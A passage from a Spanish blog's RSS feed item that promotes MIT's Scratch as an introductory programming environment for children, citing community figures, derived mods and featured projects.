<p>El 15 de diciembre de 2009, la comunidad web de Scratch contaba con más de 408.227 miembros registrados (95.033 de ellos habían colgado sus proyectos), con <strong>un total de 796.359 proyectos compartidos por la comunidad</strong>. El sitio web obtiene <strong>cerca de 7.000.000 de páginas vistas al mes</strong>. En el año 2010, la web de Scratch <strong>cuenta con más de un millón de proyectos alojados y compartidos</strong> (código fuente incluido). Además, cada cierto tiempo se celebra el <em>Scratch Design Studio</em>, un evento basado en desafíos que fomentan la creación y el intercambio de ideas y proyectos. Asimismo, <strong>disponen de una comunidad en línea exclusiva para educadores</strong> denominada <a href="http://scratched.media.mit.edu/">ScratchEd</a>.  </p>
<p>El éxito de la herramienta es tal que se ha desarrollado incluso algún que otro <a href="http://es.wikipedia.org/wiki/Mod_(videojuegos)"><em>mod</em></a>, o <strong>modificación alternativa derivada del original</strong>, basado en el código fuente de Scratch y que agrega nuevos bloques de funciones o cambios en la interfaz gráfica, siendo los más relevantes <a href="http://www.chirp.scratchr.org/blog/?p=19">BYOB</a> (programado por Jeans), <a href="http://pantherprogramming.weebly.com/">Panther</a> (por Panther Team) y <a href="http://streak.t35.com/">Streak</a> (de Billyedward).  </p>
<p><strong>¿Cómo se te queda el cuerpo ahora?</strong> La verdad es que <strong>es la herramienta ideal</strong> a la disposición de niños y adolescentes para iniciarse en el mundo del desarrollo de software. Y hablamos de iniciarse, por lo que nadie espere conexión con bases de datos distribuidas, herencia y polimorfismo o recursividad; tampoco hay que pasarse. Aunque si piensas que  sólo vas a poder desarrollar estúpidas animaciones infantiles, te recomiendo que recorras <a href="http://scratch.mit.edu/channel/featured">la galería de proyectos destacados</a> de la web de Scratch y visualices joyas como <a href="http://scratch.mit.edu/projects/kcdscratch/1202796">Sonic Advance 2</a>, <a href="http://scratch.mit.edu/projects/Animecat33/1209527">Piano~</a>, <a href="http://scratch.mit.edu/projects/JeffreySterling/1215746">3D duplivert wave</a> o <a href="http://scratch.mit.edu/projects/Maki-Tak/1216344">Tarati</a>.  </p>
<p><strong>Scratch es la mejor opción para comenzar desde cero</strong> (<em>from scratch</em>, en inglés) y obtener una sólida base que permita posteriormente migrar a entornos de desarrollo más &#8220;serios&#8221;.</p>
<div style="height:33px;" class="really_simple_share robots-nocontent snap_nopreview"><div class="really_simple_share_facebook_like" style="width:100px;">
				<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.teknoplof.com%2F2010%2F07%2F29%2Finiciar-a-los-ninos-en-el-mundo-de-la-programacion-informatica-con-scratch%2F&amp;layout=button_count&amp;show_faces=false&amp;width=100&amp;action=like&amp;colorscheme=light&amp;send=false&amp;height=27" 
						scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:27px;" allowTransparency="true"></iframe>
				</div><div class="really_simple_share_google1" style="width:90px;">
					<g:plusone size="medium" href="http://www.teknoplof.com/2010/07/29/iniciar-a-los-ninos-en-el-mundo-de-la-programacion-informatica-con-scratch/" ></g:plusone>
				</div><div class="really_simple_share_twitter" style="width:110px;">
					<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" 
						data-text="Iniciar a los niños en el mundo de la programación informática con Scratch" data-url="http://www.teknoplof.com/2010/07/29/iniciar-a-los-ninos-en-el-mundo-de-la-programacion-informatica-con-scratch/" 
						data-via="" data-related="Jonathan:The author of this post"></a> 
				</div></div>
		<div style="clear:both;"></div>]]></content:encoded>
			<wfw:commentRss>http://www.teknoplof.com/2010/07/29/iniciar-a-los-ninos-en-el-mundo-de-la-programacion-informatica-con-scratch/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>

<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced (User agent is rejected)

Served from: www.teknoplof.com @ 2012-02-08 01:35:55 -->
